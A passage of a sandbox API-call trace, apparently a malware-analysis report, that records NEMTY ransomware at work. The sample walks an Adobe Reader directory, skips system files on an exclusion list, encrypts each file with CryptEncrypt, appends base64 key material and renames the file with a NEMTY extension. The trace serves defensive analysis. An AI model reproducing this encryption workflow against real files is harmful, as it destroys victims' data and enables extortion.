hHeap=0x4f90000) returned 1 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.031] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0194.031] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653ef9c | out: pszString="z97u5SULIDQoup3czicVf89t6iTVSmZkWcVElkgr6wflvQFOWKYueVVwaPsYQm9h\r\n7D+xWaz/QfYqemXHggPlCnx/FWrpm+pb8lTPlCTO6Dy/s/pjqSJgaM3xNQLURJQ9\r\nqc8TFFDyK5I+wyNLeCfJh2vDDz7Ws4e5+7WTEOnNG4aPEm/0f8faK+lrhShwBmV4\r\nVGl6AXG5eubgZwIx8ug7jsG77K+fzxHqkvxaj6aJg+7N95DhhD5kPuQ1fsI/svZt\r\nmBb2ad8F8QhC0CNoGU1iH82KPRO77wI0EHLZGyBvs0O0nW3TjPiC7NHiqWvvPvDi\r\n7nvdh5drgZN8QWyZ5Bpo1g==\r\n", pcchString=0x653ef9c) returned 1 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.032] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17955) returned 1 [0194.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4620) returned 0x6352c48 [0194.033] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.033] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4620, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4620, lpOverlapped=0x0) returned 1 [0194.035] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.035] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4620, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4620, lpOverlapped=0x0) returned 1 [0194.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.035] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17955, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4623 [0194.036] WriteFile (in: hFile=0x1e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.036] CloseHandle (hObject=0x1e8) returned 1 [0194.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.036] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm._nemty_kgobjgd_")) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeHRV.htm", cAlternateFileName="RE2D2E~1.HTM")) returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="...") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="windows") returned -1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="rsa") returned -1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="NTDETECT.COM") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="ntldr") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="MSDOS.SYS") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="IO.SYS") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="boot.ini") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="boot.ini") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="ntuser.dat") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="desktop.ini") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="CONFIG.SYS") returned 1 [0194.037] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="RECYCLER") returned -1 [0194.038] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.038] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="bootmgr") returned 1 [0194.038] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="programdata") returned 1 [0194.038] lstrcmpiW (lpString1="ReadMeHRV.htm", lpString2="appdata") returned 1 [0194.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHRV.htm", lpUsedDefaultChar=0x0) returned 13 [0194.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHRV.htm", lpUsedDefaultChar=0x0) returned 13 [0194.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHRV.htm", lpUsedDefaultChar=0x0) returned 13 [0194.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHRV.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHRV.htm", lpUsedDefaultChar=0x0) returned 13 [0194.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.038] Sleep (dwMilliseconds=0x5) [0194.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x274eb450, dwHighDateTime=0x1d561e8)) [0194.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x274eb450, dwHighDateTime=0x1d561e8)) [0194.046] GetLastError () returned 0x0 [0194.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.046] GetLastError () returned 0x0 [0194.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.046] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.046] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.047] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.047] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653ef9c | out: pszString="pLdLrVY8zkD0caVpHfY/ahYWIeBLw9MG4kOtbOuBT1mgB+AgMaV0upjBGa660Gey\r\nXyoQrxaV9aN6Km5R383H6Eo2l9ivzsOZdC30t01fpzb3ws+o+dtHcqG4uNKlYvsN\r\nqTSTJ7aiOOUBgONmcIjCNXboT/YQxFEmrMK2tPwZaXgYiQY1vntY0sB7oRNhF67F\r\nol/lwdHVoYlDPnUMwBBOP3u4MZkCQP11dqzZ9HmZVayOOz1zkrpQqFXvI7/b9tES\r\nSnERooJL1cUBdv0BoBp9t1z8Byhrfv4NCs49hFI+u5WJOsInleAeOmawaQXpd0sR\r\n2eyq8nlWIdoqhV462xzjfQ==\r\n", pcchString=0x653ef9c) returned 1 [0194.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.047] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17066) returned 1 [0194.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x42a0) returned 0x6352c48 [0194.047] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.048] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x42a0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x42a0, lpOverlapped=0x0) returned 1 [0194.050] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.050] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x42a0, lpOverlapped=0x0) returned 1 [0194.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.050] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42aa [0194.050] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.051] CloseHandle (hObject=0x1e8) returned 1 [0194.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.052] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm._nemty_kgobjgd_")) returned 1 [0194.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.054] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeHUN.htm", cAlternateFileName="RE50AF~1.HTM")) returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="...") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="windows") returned -1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="rsa") returned -1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="NTDETECT.COM") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="ntldr") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="MSDOS.SYS") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="IO.SYS") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="boot.ini") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="boot.ini") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="ntuser.dat") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="desktop.ini") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="CONFIG.SYS") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="RECYCLER") returned -1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="bootmgr") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="programdata") returned 1 [0194.054] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="appdata") returned 1 [0194.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHUN.htm", lpUsedDefaultChar=0x0) returned 13 [0194.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHUN.htm", lpUsedDefaultChar=0x0) returned 13 [0194.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHUN.htm", lpUsedDefaultChar=0x0) returned 13 [0194.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHUN.htm", lpUsedDefaultChar=0x0) returned 13 [0194.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.055] RtlAllocateHeap (HeapHandle=0x4f90000, 